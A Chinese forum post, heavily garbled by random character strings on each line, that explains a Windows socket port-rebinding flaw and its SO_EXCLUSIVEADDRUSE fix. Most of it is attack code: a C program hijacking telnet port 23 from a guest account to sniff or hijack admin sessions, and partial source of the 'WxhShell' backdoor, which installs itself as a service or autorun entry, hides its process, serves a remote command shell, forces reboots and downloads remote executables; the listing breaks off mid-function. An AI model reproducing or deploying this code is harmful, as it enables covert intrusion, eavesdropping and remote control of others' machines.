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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _%AJmt}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eA3`]XP.`b  
B]&Lh~Im  
  saddr.sin_family = AF_INET; f hVbJU  
?{y:s!!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tf.q~@Pi  
olUqBQ&ol  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #fJ/KYJU  
uzat."`d'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _|Y.!ZRYP  
!7kAJG g  
  这意味着什么?意味着可以进行如下的攻击: :Vu7,o  
R^mu%dw)(%  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p~v2XdR  
w0q?\qEX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KZ367&>b7  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D5o+ 0R  
9q@ z[+X  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~(Ih~/5\^  
8=ukS_?Vy  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 k)<~nc-  
5`OK-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;EE{ ~  
|SSf G~r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jQH5$  
=B3!jir  
  #include FFD*e-i  
  #include GU;TK'Yy?  
  #include uFA|r X  
  #include    *il]$i  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0ECO/EuCg  
  int main() n $D}0wSM/  
  { A>&>6O4  
  WORD wVersionRequested; Bd N{[2  
  DWORD ret; sWojQ-8}  
  WSADATA wsaData; Wo1V$[`Dy  
  BOOL val; F3H:I"4  
  SOCKADDR_IN saddr; _oMs `"4K  
  SOCKADDR_IN scaddr; 5JXzfc9rL  
  int err; u"Hd55"&  
  SOCKET s; / y":/" h  
  SOCKET sc; b3CspBgC  
  int caddsize; mcP{-oJ0W  
  HANDLE mt; j? Jd@(*y$  
  DWORD tid;   )Rm 'YmO  
  wVersionRequested = MAKEWORD( 2, 2 ); q7)]cY_  
  err = WSAStartup( wVersionRequested, &wsaData ); Z!s>AgH9u  
  if ( err != 0 ) { r(?'Yy  
  printf("error!WSAStartup failed!\n"); taD T;t  
  return -1; h[[/p {z  
  } 7E\K!v_  
  saddr.sin_family = AF_INET; n+RUPZ  
   {Vt^Xc  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ECE{xoc  
mPw56>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6qHvq A,  
  saddr.sin_port = htons(23); "0!eb3n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |({UV-`  
  { 4%#V^??E  
  printf("error!socket failed!\n"); 9$4/frd  
  return -1; qMW%$L\HA  
  } h Vt+%tmNy  
  val = TRUE; .SKNIct M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ; ei<Q =[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R; Gl{  
  { X-;Qorb^  
  printf("error!setsockopt failed!\n"); 6S+K*/w  
  return -1; oE|u;o  
  } X{9JSq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4E>/*F!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C^8)IN=$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U d=gdsL  
3 DO$^JJ.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1>*UbV<R;u  
  { 0[$Mo3c+'  
  ret=GetLastError(); rz%[o,s  
  printf("error!bind failed!\n"); A aF5`  
  return -1; kgbr+Yw2X  
  } >1)@n3.<O  
  listen(s,2); 1X!f!0=g+  
  while(1) y uK5r  
  { wYcz\uV  
  caddsize = sizeof(scaddr); < 4EB|@E  
  //接受连接请求 * F%ol;|Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &:e}4/G  
  if(sc!=INVALID_SOCKET) @y~BYiKs  
  { ]cGz~TN~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  >Wr   
  if(mt==NULL) :v WYI I7  
  { A86lyBDQ*  
  printf("Thread Creat Failed!\n"); #&`WMLl+8  
  break; YK=#$,6  
  } 65e Wu=T  
  } Ppo^qb  
  CloseHandle(mt); ,ov v  
  } (J;zkb  
  closesocket(s); E 4$h%5  
  WSACleanup(); 5 1CU@1Ie  
  return 0; WNlSve)]ie  
  }   lh(+X-}D  
  DWORD WINAPI ClientThread(LPVOID lpParam) J^+$L"K  
  { C$re$9U  
  SOCKET ss = (SOCKET)lpParam; yM#trqv5  
  SOCKET sc; 5, "^"*@<  
  unsigned char buf[4096]; -z~ V   
  SOCKADDR_IN saddr; />2$ XwP  
  long num; N mjBJ_G  
  DWORD val; ^D> MDj6  
  DWORD ret; j}?ZsnqV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .X=M !  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B+q+)O+  
  saddr.sin_family = AF_INET; n+F-,=0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); .Zo9^0`C  
  saddr.sin_port = htons(23); ~C*6V{Tj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4Uy>#IL  
  { $j4?'-i=e  
  printf("error!socket failed!\n"); Kg0\Pvg8?T  
  return -1; [m+O0VK$  
  } d(B;vL@R2V  
  val = 100; \z2hXT@D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u b>K^  
  { H1b%:KRVK  
  ret = GetLastError(); g2b4 ia!L  
  return -1; f}9`iN=k  
  } qD>Y}Z !  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A`U2HC   
  { \#oV<MR  
  ret = GetLastError(); Ckl]fy@D}  
  return -1; JU2' ~chh  
  } YrcC"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \iLd6Qo_aq  
  { 2Lu{@*  
  printf("error!socket connect failed!\n"); xg1r 3  
  closesocket(sc); ve]95w9J  
  closesocket(ss); w.F3o4YP  
  return -1; u'n%BVt   
  } xXh]z |  
  while(1) Bma|!p{  
  { 4hr+GO@o(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g8 *|" {  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]~<T` )Hi  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5xV/&N  
  num = recv(ss,buf,4096,0); C5z  
  if(num>0) I$qtfGr  
  send(sc,buf,num,0); McI4oD~"  
  else if(num==0) ['YRY B  
  break; -a^sX%|Bl  
  num = recv(sc,buf,4096,0); ez9M]! 8Lt  
  if(num>0) fq!6#Usf;i  
  send(ss,buf,num,0); }sNZQ89V*v  
  else if(num==0) eDZ3SIZ  
  break; X1~A "sW[  
  } gR6T]v  
  closesocket(ss); yaGVY*M0  
  closesocket(sc); .BTT*vL-  
  return 0 ; S gsR;)2  
  } =,;3z/k%  
`2~Ea_Z  
X OtS+p  
========================================================== xF>w r r  
w`Aw+[24  
下边附上一个代码,,WXhSHELL w8@|b}  
tZ2iSc  
========================================================== 30v1VLR_)  
b,V=B{(~  
#include "stdafx.h" oDDH;Q"M(  
wDTV /"Y  
#include <stdio.h> g wiC ,  
#include <string.h> U`4Z j1y  
#include <windows.h> IHMyP~{  
#include <winsock2.h> EHM 7=|#  
#include <winsvc.h> 2Rp{]s$jo  
#include <urlmon.h> M@86u^80  
yBjWPx?  
#pragma comment (lib, "Ws2_32.lib") ]OUOL/J  
#pragma comment (lib, "urlmon.lib") 0#nXxkw  
I8>1RXz  
#define MAX_USER   100 // 最大客户端连接数 vPq\reKe  
#define BUF_SOCK   200 // sock buffer W@}5e-q)O  
#define KEY_BUFF   255 // 输入 buffer ^/YAokj  
qq{N; C  
#define REBOOT     0   // 重启 qk"=nAJX  
#define SHUTDOWN   1   // 关机 jJnBwHp  
bL[W.O0  
#define DEF_PORT   5000 // 监听端口 Q$5:P&  
*==nOO9G  
#define REG_LEN     16   // 注册表键长度 'V{k$}P2  
#define SVC_LEN     80   // NT服务名长度 cuk}VZ  
@Oay$gP{T  
// 从dll定义API C&"2`ll  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tzN;;h4C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /Bu5k BC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O|m-k0n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dgD%I  
';V+~pi  
// wxhshell配置信息 c$z_Zi!g#  
struct WSCFG { LJ#P- `!{&  
  int ws_port;         // 监听端口 e-meUf9  
  char ws_passstr[REG_LEN]; // 口令 2DQC)Pe+z  
  int ws_autoins;       // 安装标记, 1=yes 0=no ![n`n(oN  
  char ws_regname[REG_LEN]; // 注册表键名 FaM~ 56Pa  
  char ws_svcname[REG_LEN]; // 服务名 iB_j*mX]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A| -\C$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e5]0<s$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7FFYSv,[:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }7v2GfEkM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q{-r4n|b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jX,~iZ_B  
g >oLc6T  
}; =h!m/f^x  
oOz6Er[KO  
// default Wxhshell configuration [uHI 6Q#  
struct WSCFG wscfg={DEF_PORT, /LzNr0>2  
    "xuhuanlingzhe", @/iLC6QF  
    1, \2b9A' d>  
    "Wxhshell", Ut=y`]F  
    "Wxhshell", a{,t@G  
            "WxhShell Service", 5xKR ]u  
    "Wrsky Windows CmdShell Service", Yl=  |P`  
    "Please Input Your Password: ", y}`%I&]n  
  1, !7DS  
  "http://www.wrsky.com/wxhshell.exe", nQ6'yd"  
  "Wxhshell.exe" }@4*0_g"Aw  
    }; 4v .6_ebL  
5gEK$7Vp  
// 消息定义模块 vX%gcs/@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~?r6Ax-R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $!@f{9+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7 #N @B  
char *msg_ws_ext="\n\rExit."; c6|&?}F  
char *msg_ws_end="\n\rQuit."; jL1UPN  
char *msg_ws_boot="\n\rReboot..."; \O~P !`  
char *msg_ws_poff="\n\rShutdown..."; B~rK3BS  
char *msg_ws_down="\n\rSave to "; G_]mNh  
J-c7ZcTt  
char *msg_ws_err="\n\rErr!"; 2S/7f:  
char *msg_ws_ok="\n\rOK!"; ZC-N4ESr  
G7?EaLsfQ  
char ExeFile[MAX_PATH]; N h%8;  
int nUser = 0; q[ZYlF,Ho  
HANDLE handles[MAX_USER]; }J`Gm  
int OsIsNt; j!rz@Y3  
Hua8/:![+  
SERVICE_STATUS       serviceStatus; h,g~J-x`|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZAwl,N){  
+`FY  
// 函数声明 z_TK (;j  
int Install(void); yfrgYA  
int Uninstall(void); 8%Lg)hvl  
int DownloadFile(char *sURL, SOCKET wsh); N~(}?'y9S  
int Boot(int flag); g9JtWgu  
void HideProc(void); fM{Vy])J  
int GetOsVer(void); qE[}Cf]X  
int Wxhshell(SOCKET wsl); jF8ld5|_|  
void TalkWithClient(void *cs); @P?*<b{  
int CmdShell(SOCKET sock); hZy*E[i  
int StartFromService(void); 3t'K@W?AJh  
int StartWxhshell(LPSTR lpCmdLine); 5KzU&!Zh9  
kE}?"<l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x uF_^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !;-x]_  
 |QdS;  
// 数据结构和表定义 WRCi!  
SERVICE_TABLE_ENTRY DispatchTable[] = teb(\% ,  
{ >qla,}x  
{wscfg.ws_svcname, NTServiceMain}, dXhV]xK  
{NULL, NULL} KtE`L4tW6  
}; /~:ztv\$M"  
78wcMQNX9  
// 自我安装 Kt(p|  
int Install(void) q$P"o].EK  
{ paY%pU  
  char svExeFile[MAX_PATH]; @z.!Dby  
  HKEY key; t{9Ph]e  
  strcpy(svExeFile,ExeFile); r%4:,{HF  
s0CRrMk  
// 如果是win9x系统,修改注册表设为自启动 .755-S  
if(!OsIsNt) { M=%p$\x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r|+Zni]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IkkrnG8  
  RegCloseKey(key); H b.oKo$T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bmLNR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [B Al  
  RegCloseKey(key); u CXd% CzE  
  return 0; O{PRK5^h  
    } gTT-7  
  } 53A=O gk8S  
} W7 $yE},z  
else { `{%*DHa  
vs +N{ V  
// 如果是NT以上系统,安装为系统服务 W+vm!7wX0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iBQftq7  
if (schSCManager!=0) O1A*-G:X  
{ i~4Kek6,I  
  SC_HANDLE schService = CreateService S1."2AxO  
  ( s*;~CH-[  
  schSCManager, UOyP6ej  
  wscfg.ws_svcname, U4g ZW]F  
  wscfg.ws_svcdisp, `#hy'S:e  
  SERVICE_ALL_ACCESS, 2mRso.Ah  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B(~D*H2T[  
  SERVICE_AUTO_START, 9I9)5`d|Jn  
  SERVICE_ERROR_NORMAL, .|K5b]na  
  svExeFile, r?$\`,;  
  NULL, ^,3 >}PU  
  NULL, f' eKX7R  
  NULL, Oe?nX>  
  NULL,  Cfi5r|S  
  NULL Aq-v3$XL  
  ); DE[y&]/C{  
  if (schService!=0) pP .   
  { -M4#dHR_!  
  CloseServiceHandle(schService); xg8<b  
  CloseServiceHandle(schSCManager); Z7 @#0;g{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {VFp fo  
  strcat(svExeFile,wscfg.ws_svcname); #Xc~3rg9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { NJ~'`{3v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WJ%b9{<  
  RegCloseKey(key); R$\ieNb  
  return 0; ^m~=<4eX  
    } ` H"5nQRV  
  } NQb?&.C   
  CloseServiceHandle(schSCManager); 8/=2N  
} (HEjmQjE  
} >[#4Pb7_Y  
?FLjvmE9  
return 1; ?h5Y^}8Qg  
} 8n56rOW!  
]2<g"zo0  
// 自我卸载 ~=71){4A  
int Uninstall(void) fRbVc  
{ o,d:{tt  
  HKEY key; 90q*V%cS  
[wEx jLW  
if(!OsIsNt) { *Q)+Y&qn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \(u P{,ML  
  RegDeleteValue(key,wscfg.ws_regname); TnC'<zm9 !  
  RegCloseKey(key); x@/ !H<y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S +He  
  RegDeleteValue(key,wscfg.ws_regname); SXhJz=h  
  RegCloseKey(key); 3TJNlS  
  return 0; ^t| %!r G  
  } cD 1p5U  
} !({[^[!  
} WA<~M) rb  
else { aW"BN 5eM>  
F/&&VSv>LO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I?1^\s#L  
if (schSCManager!=0) % $J^dF_0  
{ \d6A<(!=v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {BF$N#7  
  if (schService!=0) Dd*C?6  
  { D=3NI  
  if(DeleteService(schService)!=0) { R_-.:n%.z  
  CloseServiceHandle(schService); %rf<YZ.\  
  CloseServiceHandle(schSCManager); ^*ZO@GNL  
  return 0; 0_ ;-QAd  
  } |{$Vk%cUE  
  CloseServiceHandle(schService); R8mL|Vb|  
  } H6L`239u  
  CloseServiceHandle(schSCManager); p}h)WjC  
} :/u EPki  
} #jnb6v=5v  
cc@y  
return 1; TG!sck4/-Q  
} n|8fdiK#}  
/m%;wH|6%  
// 从指定url下载文件 +Ix;~  
int DownloadFile(char *sURL, SOCKET wsh)  G=wJz  
{ 1vX97n<}  
  HRESULT hr; Y M5;mPR  
char seps[]= "/"; qLcs)&}/A  
char *token; F&ux9zP  
char *file; -ohqw+D  
char myURL[MAX_PATH]; <FP&1Eg!|  
char myFILE[MAX_PATH]; 0(]C$*~mk  
. 8k9yk  
strcpy(myURL,sURL); O5E\#*<K  
  token=strtok(myURL,seps); {`{U\w5Af  
  while(token!=NULL) R+P1 +5  
  { `}18A.K  
    file=token; t1D6#JP(a  
  token=strtok(NULL,seps); @xmL?wz  
  } xgfK0-T|[  
Z/O5Dear/h  
GetCurrentDirectory(MAX_PATH,myFILE); 9OX&;O+5  
strcat(myFILE, "\\"); O}2;>eH  
strcat(myFILE, file); UZqr6A(/H  
  send(wsh,myFILE,strlen(myFILE),0); mzDbw-#  
send(wsh,"...",3,0); @<h@d_8^k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H>2)R 7h  
  if(hr==S_OK)   \\6/"  
return 0; HG{OkDx]fl  
else .|!Kv+yD  
return 1; @2V#bK  
m$ "B=b2  
} c1c8):o+V  
$)6y:t"  
// 系统电源模块 uq'T:d  
int Boot(int flag) VTS8IXz  
{ "OkJPu2!W  
  HANDLE hToken; [$$i1%c%Z<  
  TOKEN_PRIVILEGES tkp; yoQ}m/Cj  
',~,hJ0  
  if(OsIsNt) { ;~F&b:CyG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ApR>b%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  BVU>M*k  
    tkp.PrivilegeCount = 1; 2{(_{9<>z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8a)lrIg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T:dV[3  
if(flag==REBOOT) { O(#DaFJv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )k$ +T%  
  return 0; 741Sd8  
} *6<<6f`(  
else { ,Tjc\;~%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _ ZMoPEW  
  return 0; h_n`E7&bG  
} VBo=*gn,$  
  } @#rF8;  
  else { g\:(1oY  
if(flag==REBOOT) { WWZ`RY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vL}e1V:  
  return 0; ^\KZE|^3@  
} ?NWc3 .  
else { -Q9} gaH_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d0YDNP%,_  
  return 0; muc6gwBp  
} 54r/s#|-3  
} q8#zv_>K  
Qq+$ea?>  
return 1; x}B3h9]  
} [7 _1GSS1  
y\k#83aU|  
// win9x进程隐藏模块 opqY@>Vh&  
void HideProc(void) Y`3V&8X  
{ 8#L V oR  
vY)5<z&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *3 8 u ~n  
  if ( hKernel != NULL ) *MC+i$  
  { qjDt6B^RO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KDxqz$14 -  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?h\fwF3  
    FreeLibrary(hKernel); t\S=u y  
  } xl>8B/Zmf#  
9?]69O  
return; Y].,}}9k  
} 8}C_/qeM  
, Ox$W  
// 获取操作系统版本 Q,v/]bXd  
int GetOsVer(void) ]-g9dV_[>j  
{ OGcq]ue  
  OSVERSIONINFO winfo; As{"B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X)Zc*9XA  
  GetVersionEx(&winfo); +adwEYRrr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]"ou?ot }  
  return 1; [8jIu&tJf  
  else *{DpNV8"  
  return 0; duQ ,6  
} TAB'oLNp  
1 K(0tG:5  
// 客户端句柄模块 sD#*W<  
int Wxhshell(SOCKET wsl) 717S3knlv  
{ 3LRBH+Tt  
  SOCKET wsh; ^m Ua5w  
  struct sockaddr_in client; 6U9F vPJ  
  DWORD myID; 1Be/(pSc  
m941 Y  
  while(nUser<MAX_USER) pF/s5z  
{ P"[\p|[U  
  int nSize=sizeof(client); owviIZFe  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %\^VxM  
  if(wsh==INVALID_SOCKET) return 1; L;h|Sk]{  
fDjJdRS"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %-fQ[@5  
if(handles[nUser]==0) swKqsN.  
  closesocket(wsh); mR O@ZY;5  
else "*< )pnJ  
  nUser++; Q@ua G,6  
  } >npTUOGL=n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (1e,9!?  
O!se-h5mW8  
  return 0; MFeY}_d<  
} fU<_bg  
8'qq!WR~  
// 关闭 socket /Bq4! n+  
void CloseIt(SOCKET wsh) w"{mDL}c  
{ AZ>F+@d  
closesocket(wsh); S-5O$EnD  
nUser--; (T!#7  
ExitThread(0); Pj8W]SA_  
} K2{6{X=  
&yRR!1n)H  
// 客户端请求句柄 ?U+nR/H:6  
void TalkWithClient(void *cs) DGbEQiX$\  
{ _9yW; i-  
2q4-9vu  
  SOCKET wsh=(SOCKET)cs; >N~orSw%  
  char pwd[SVC_LEN]; s~06%QEG  
  char cmd[KEY_BUFF]; `{%ImXQF  
char chr[1]; j-#h^3l1?  
int i,j; BD- c<K"  
Dy&{PeE!  
  while (nUser < MAX_USER) { 5[LDG/{Tys  
BdB9M8fM  
if(wscfg.ws_passstr) { 6<fcG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \1sWmN6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n"w>Y)C(X)  
  //ZeroMemory(pwd,KEY_BUFF); '""s%C+  
      i=0; .B?fG)'WsF  
  while(i<SVC_LEN) { cHC1l  
GXi)3I%  
  // 设置超时 _MW W  
  fd_set FdRead; l} @C'Np  
  struct timeval TimeOut; !Qq~lAJO;  
  FD_ZERO(&FdRead); l?A~^4(5a/  
  FD_SET(wsh,&FdRead); |?v .5|1  
  TimeOut.tv_sec=8; &D91bT+L  
  TimeOut.tv_usec=0; y[ZVi5) ,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,zEPdhTX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T_[5 ZYy  
[Lcy &+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VIaj])m  
  pwd=chr[0]; (&-I-#i  
  if(chr[0]==0xd || chr[0]==0xa) { eus@;l*  
  pwd=0; K5 EJ#1ov  
  break; z+KZ6h  
  } &Qe2 }e$  
  i++; `ff@f]|3^  
    } >}B53.;.k  
c*r@QmB:  
  // 如果是非法用户,关闭 socket 9a#Y D;-p  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F. I\?b  
} EMPujik-  
9"?;H%.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~l('ly  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~7gFddi=i  
X4L@|"ZI  
while(1) { JkI|Ojmm/  
hcpe~spz9|  
  ZeroMemory(cmd,KEY_BUFF); .pG`/[*a  
558!?kx$  
      // 自动支持客户端 telnet标准   sf O{.#5<  
  j=0; 5S[:;o  
  while(j<KEY_BUFF) { x \I uM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kZ;Y/DH  
  cmd[j]=chr[0]; IOa@dUh7a,  
  if(chr[0]==0xa || chr[0]==0xd) { Wj8WT)cB  
  cmd[j]=0; ^B8 [B&K  
  break; [b3$em<^JV  
  } 7Y)i>[u3  
  j++; )Y`ybADd3  
    } Bjh8uW G  
1)5/a5  
  // 下载文件 XT \2  
  if(strstr(cmd,"http://")) { 9VMk?   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9rIv-&7'm  
  if(DownloadFile(cmd,wsh)) b\t?5z-Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _$/Bt?h  
  else Nxt`5kSx=  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]x66/O\0u  
  } gH.$B'  
  else { 0EasPbp  
e0]#vqdO  
    switch(cmd[0]) { JLj b'Bn  
  (,tL(:c  
  // 帮助 Xy}>O*  
  case '?': { b8 1cq,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (Q.tH  
    break; sX ]gL  
  } K"!U&`T  
  // 安装 W.59Al'  
  case 'i': { 8g=];@z  
    if(Install()) cG(%P$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zcuz @  
    else s`pdy$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R2Lq??XA=  
    break; aU/y>Y <k  
    } B 74  
  // 卸载 MShcZtN  
  case 'r': { !=HxL-`j  
    if(Uninstall()) |[p]]) o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A8k $.E  
    else k@pEs# a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G *<g%"  
    break; T+S\'f\  
    } RB6TM  
  // 显示 wxhshell 所在路径 nm)/BK  
  case 'p': { JEK_W<BD  
    char svExeFile[MAX_PATH]; <<V"4 C2  
    strcpy(svExeFile,"\n\r"); '3~m},0  
      strcat(svExeFile,ExeFile); =>JA; ft  
        send(wsh,svExeFile,strlen(svExeFile),0); \9~Q+~@{G  
    break; F&C< = l\X  
    } Urol)_3X  
  // 重启 `)kxFD_bH  
  case 'b': { :2+z_+k}<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3#aLCpVla  
    if(Boot(REBOOT)) ^5)=) xVF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {E}D6`{  
    else { x TqP`ljX  
    closesocket(wsh); O]?\<&y  
    ExitThread(0); 5k?xBk=<  
    } 8Q0/kG  
    break; +:Nz_l  
    } |,({$TrF  
  // 关机 9{rE7OX*A  
  case 'd': { sLzZ}u?(  
